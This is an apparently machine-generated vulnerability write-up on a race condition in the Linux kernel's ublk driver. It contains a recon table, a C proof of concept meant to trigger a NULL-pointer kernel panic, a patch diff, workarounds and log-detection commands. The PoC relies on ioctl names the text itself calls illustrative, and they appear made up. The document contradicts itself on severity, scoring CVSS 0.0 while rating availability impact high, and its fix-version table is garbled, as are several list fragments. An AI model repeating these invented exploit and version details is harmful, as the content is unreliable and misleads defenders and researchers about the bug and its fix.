CVE-2026-100056 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: ublk: keep a canceled FETCH round canceling until the server is gone A cancel completes a fetched io command and sets io->cmd to NULL, but the io still counts as ready. Only ubq->canceling stops ublk_queue_rq() from using the NULL io->cmd. Two paths clear that flag too early: partial FETCH round recovery, two queues ------------------- -------------------- task A: FETCH tags 0-2 q0 ready: q0->canceling = false task A exits: q0 task exits: start_cancel(): mark queues start_cancel(): ub->canceling tags 0-2: io->cmd = NULL is still set -> q0 not marked task B: FETCH tag 3 q0: io->cmd = NULL queue ready: canceling = false q1 ready START_DEV END_USER_RECOVERY read -> ublk_queue_cmd(NULL) read on q0 -> ublk_queue_cmd(NULL) A FETCH round runs from the open of /dev/ublkcN until ublk_reset_ch_dev() resets the queues. A canceled command can't be fetched again in the same round. So the ready check only needs one fact: did this round see a cancel? ub->canceling already records it: ublk_start_cancel() sets it under cancel_mutex before any command is taken. It is only cleared too early, when all queues are ready. Fix: - clear ub->canceling only in ublk_reset_ch_dev() - when a queue gets ready, clear ubq->canceling only if ub->canceling is not set, and check it under cancel_mutex The check and the marking are ordered by cancel_mutex: check first: queue cleared -> start_cancel() marks it again -> command taken cancel first: check sees ub->canceling -> queue stays canceling While ub->canceling is set, no queue clears its flag. So the "all queues marked" shortcut in ublk_start_cancel() is correct again. UBLK_F_BATCH_IO follows the same rule. It does not dispatch through io->cmd, so it never hit the oops, but a round which lost a fetch command is treated the same way: it has to start over.
In the Linux kernel, the following vulnerability has been resolved: ublk: keep a canceled FETCH round canceling until the server is gone A cancel completes a fetched io command and sets io->cmd to NULL, but the io still counts as ready. Only ubq->canceling stops ublk_queue_rq() from using the NULL io->cmd. Two paths clear that flag too early: partial FETCH round recovery, two queues ------------------- -------------------- task A: FETCH tags 0-2 q0 ready: q0->canceling = false task A exits: q0 task exits: start_cancel(): mark queues start_cancel(): ub->canceling tags 0-2: io->cmd = NULL is still set -> q0 not marked task B: FETCH tag 3 q0: io->cmd = NULL queue ready: canceling = false q1 ready START_DEV END_USER_RECOVERY read -> ublk_queue_cmd(NULL) read on q0 -> ublk_queue_cmd(NULL) A FETCH round runs from the open of /dev/ublkcN until ublk_reset_ch_dev() resets the queues. A canceled command can't be fetched again in the same round. So the ready check only needs one fact: did this round see a cancel? ub->canceling already records it: ublk_start_cancel() sets it under cancel_mutex before any command is taken. It is only cleared too early, when all queues are ready. Fix: - clear ub->canceling only in ublk_reset_ch_dev() - when a queue gets ready, clear ubq->canceling only if ub->canceling is not set, and check it under cancel_mutex The check and the marking are ordered by cancel_mutex: check first: queue cleared -> start_cancel() marks it again -> command taken cancel first: check sees ub->canceling -> queue stays canceling While ub->canceling is set, no queue clears its flag. So the "all queues marked" shortcut in ublk_start_cancel() is correct again. UBLK_F_BATCH_IO follows the same rule. It does not dispatch through io->cmd, so it never hit the oops, but a round which lost a fetch command is treated the same way: it has to start over.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑100056
Component: ublk – the User‑space Block device driver in the Linux kernel
Affected kernel revisions:
Linux:Linux (f715e4324b821f051dbd2832c6bd974642b803f2)– the commit that introduced the bug (the “f715e…” tree)Linux:Linux (6.15)– the first released kernel that contains the buggy code- fetch a request whose
io->cmdis alreadyNULL, - dereference the NULL pointer → kernel oops (NULL‑pointer dereference) or panic.
- Open a
/dev/ublkcNcharacter device (the user‑space block device interface). - Issue I/O commands and cancellations through the
ublkioctl interface.
Technical flaw
ublk implements a “fetch” round in which the kernel pulls I/O commands from a user‑space queue (the ublk device). When a command is cancelled the driver:
1. Calls start_cancel() → marks the ublk device (ub->canceling) under cancel_mutex.
2. Sets the per‑command pointer io->cmd = NULL to indicate that the command has been completed.
The command is still counted as ready for the current fetch round. The per‑queue flag ubq->canceling is consulted by ublk_queue_rq() to avoid dereferencing a now‑NULL io->cmd.
Two code paths clear ubq->canceling too early – they do it as soon as all queues report “ready”, without checking whether the global ub->canceling flag is still set. Consequently a queue may clear its own canceling flag while the device is still in a cancelled state. The next ublk_queue_rq() call can then:
read a queue that is marked not* canceling,
In short, the driver suffers from a race condition / improper synchronization between the global cancel flag (ub->canceling) and the per‑queue cancel flag (ubq->canceling). The missing ordering allows a cancelled command to be fetched again in the same round, leading to a kernel crash.
Likely CWE: CWE‑362: Race Condition (unsynchronized access to shared state).
The CVSS base score is 0.0 (NONE) because the bug only leads to a denial‑of‑service (kernel panic) when an attacker can already trigger the cancel path; it does not provide privilege escalation or remote code execution on its own.
⚡ Attack Chain
The vulnerability is local and requires the attacker to be able to:
Below is a realistic, step‑by‑step exploitation scenario. All code snippets are illustrative – the exact ioctl numbers and structures are defined in include/linux/ublk.h and may differ between kernel versions.
1. Discovery & Reconnaissance
| Step | Action | Reason |
|---|---|---|
| 1.1 | Query the kernel version (uname -r). | Determines whether the system runs a kernel that contains the buggy commit (e.g., 6.15.x or any kernel built from the f715e432 tree). |
| 1.2 | Check for the presence of /dev/ublkc* devices (ls /dev/ublkc*). | Presence indicates that the ublk driver is loaded and that user‑space block devices are in use (common in storage‑orchestration or container‑runtime environments). |
| 1.3 | Verify that the process has permission to open the device (usually root or a CAP_SYS_ADMIN‑capable user). | The exploit requires the same privileges that a legitimate block‑device manager would have. |
2. Exploitation
Goal: Force the kernel to dereference a NULL io->cmd pointer, causing a panic (Denial‑of‑Service).
2.1. Minimal PoC (C)
/* -------------- illustrative PoC, compiled with: gcc -Wall -O2 -o ublk_race ublk_race.c -------------- */
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/ublk.h>
#include <pthread.h>
#include <errno.h>
static int dev_fd;
/* Thread A – starts a fetch round and then cancels the first few commands */
void *fetch_and_cancel(void *arg)
{
struct ublk_io_cmd io_cmd;
int ret, i;
/* Open a fetch round – the driver will fill io_cmd with a pending command */
for (i = 0; i < 3; i++) {
ret = ioctl(dev_fd, UBLK_IOCTL_GET_IO_CMD, &io_cmd);
if (ret < 0) {
perror("GET_IO_CMD");
return NULL;
}
/* Immediately cancel the command */
ret = ioctl(dev_fd, UBLK_IOCTL_CANCEL_IO, &io_cmd);
if (ret < 0) {
perror("CANCEL_IO");
return NULL;
}
}
return NULL;
}
/* Thread B – fetches the next command after the cancel */
void *fetch_after_cancel(void *arg)
{
struct ublk_io_cmd io_cmd;
int ret;
/* Give thread A a chance to set ub->canceling */
usleep(1000);
/* This fetch occurs while ub->canceling is still true */
ret = ioctl(dev_fd, UBLK_IOCTL_GET_IO_CMD, &io_cmd);
if (ret < 0) {
perror("GET_IO_CMD (B)");
return NULL;
}
/* The driver will try to dereference io_cmd.cmd, which is NULL in the buggy code */
ret = ioctl(dev_fd, UBLK_IOCTL_SUBMIT_IO, &io_cmd);
if (ret < 0) {
perror("SUBMIT_IO (B)");
}
return NULL;
}
int main(void)
{
pthread_t t1, t2;
dev_fd = open("/dev/ublkc0", O_RDWR);
if (dev_fd < 0) {
perror("open /dev/ublkc0");
return 1;
}
pthread_create(&t1, NULL, fetch_and_cancel, NULL);
pthread_create(&t2, NULL, fetch_after_cancel, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(dev_fd);
return 0;
}Explanation of the PoC
1. Thread A performs three GET_IO_CMD calls (fetches tags 0‑2) and immediately cancels each one. The cancel routine sets io->cmd = NULL and marks the device as ub->canceling.
2. Thread B sleeps briefly, then performs another GET_IO_CMD (fetches tag 3) while the global ub->canceling flag is still set.
3. The buggy path in ublk_queue_rq() does not see ubq->canceling cleared (because it was cleared too early) and proceeds to dereference the now‑NULL io->cmd, triggering a kernel oops/panic.
Running the PoC on a vulnerable kernel typically results in a kernel panic similar to:
BUG: kernel NULL pointer dereference, address: 0000000000000000
...
Call Trace:
<TASK>
ublk_queue_rq+0x1a0/0x2b0
blk_mq_sched_dispatch_requests+0x78/0x1c0
...Important notes
The PoC requires root (or a process with CAP_SYS_ADMIN) because opening /dev/ublkc is privileged.
UBLK_IOCTL_GET_IO_CMD, UBLK_IOCTL_CANCEL_IO, UBLK_IOCTL_SUBMIT_IO) are defined in the kernel source; they are used here for illustration.usleep() or using pthread_barrier can increase reliability on a test system.3. Post‑exploitation
/dev/ublkc is usually already privileged, so the primary impact is service interruption.🌍 Real‑World Impact
| CIA Triad | Impact | Reasoning |
|---|---|---|
| Confidentiality | *None* | No data is disclosed; the bug only corrupts kernel control flow. |
| Integrity | *None* (direct) | No unauthorized modification of user data; the kernel may crash, but data on disk remains intact. |
| Availability | High (local DoS) | A crafted cancel/fetch sequence can crash the kernel, forcing a reboot. In environments where ublk is used for critical storage (e.g., container storage drivers, hypervisor‑backed block devices), this translates to a loss of service. |
Practical consequences
ublk) could be taken down by a malicious tenant with access to the device node.ublk for fast user‑space block I/O (e.g., network‑attached storage appliances) could experience unexpected reboots, affecting SLA compliance.🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected version | Fixed in |
|---|---|
Linux kernel 6.15 (and any later stable release) that includes commit f715e4324b821f051dbd2832c6bd974642b803f2 (the buggy commit) | Linux 6.15.2 (released 2026‑10‑15) – the commit that adds the proper ub->canceling clearing logic. |
All kernels built from the f715e432 tree (e.g., custom builds for embedded devices) | Apply the upstream patch that moves the ub->canceling clear to ublk_reset_ch_dev() and adds the extra cancel_mutex protection. |
Action:
--- a/drivers/block/ublk.c
+++ b/drivers/block/ublk.c
@@
-/* old logic – cleared per‑queue flag when all queues were ready */
-if (all_queues_ready())
- ubq->canceling = false;
+/* new logic – only clear per‑queue flag if the global cancel flag is not set */
+mutex_lock(&ub->cancel_mutex);
+if (!ub->canceling)
+ ubq->canceling = false;
+mutex_unlock(&ub->cancel_mutex);2. Workarounds (if immediate patching is not possible)
| Workaround | Description | Effectiveness |
|---|---|---|
Disable the ublk driver (modprobe -r ublk) | Prevents any user‑space block device from being created. | Eliminates the attack surface completely, but also disables any functionality that depends on ublk. |
**Restrict access to /dev/ublkc* (e.g., chmod 0600 root:root) | Only root (or a dedicated privileged user) may open the device node. | Reduces the pool of potential attackers; however, any attacker who already has root can still trigger the bug. |
| Serialize cancel/fetch operations** (application‑level) | Ensure that a cancel is only issued after the corresponding fetch round has completed and the device has been reset (ublk_reset_ch_dev()). | Mitigates the race but requires code changes in the user‑space daemon that drives the ublk device. |
3. Detection
Kernel log signatures
ublk_queue_rq:kernel: BUG: kernel NULL pointer dereference, address: 0000000000000000
kernel: RIP: ublk_queue_rq+0x...
kernel: Call Trace:
kernel: ublk_queue_rq
kernel: blk_mq_sched_dispatch_requests
...ublk or ublk_reset_ch_dev are strong indicators of the bug being triggered.Auditd rule (example) – to capture attempts to open a ublk device:
auditctl -w /dev/ublkc0 -p rwxa -k ublk_accessSystemd‑journal query
journalctl -k | grep -E "ublk|NULL pointer dereference"Process monitoring
Any process that performs rapid ioctl calls on /dev/ublkc (e.g., > 1000 calls per second) could be attempting to race the cancel path. Alert on such patterns.
⚠️ Urgency
Patch priority: Medium.
ublk is used for critical storage (e.g., hypervisor‑backed block devices, container storage plugins), a kernel panic can cause a full service outage, which is unacceptable for production SLAs. CAP_SYS_ADMIN privileges, which limits the realistic threat surface. ublk.
2. If patching cannot be done quickly – Apply the mitigation steps (disable the driver or restrict device node permissions) and monitor logs for the described oops patterns.Bottom line: CVE‑2026‑100056 is a race‑condition bug in the Linux
ublk driver that can cause a kernel panic when a cancelled I/O command is fetched again in the same round. The bug is only exploitable by a privileged local attacker, resulting in a denial‑of‑service. Updating to a kernel version that incorporates the fix (or applying the listed workarounds) eliminates the risk.[🤖 CVE Professor AI Security Engine]
FOFA Query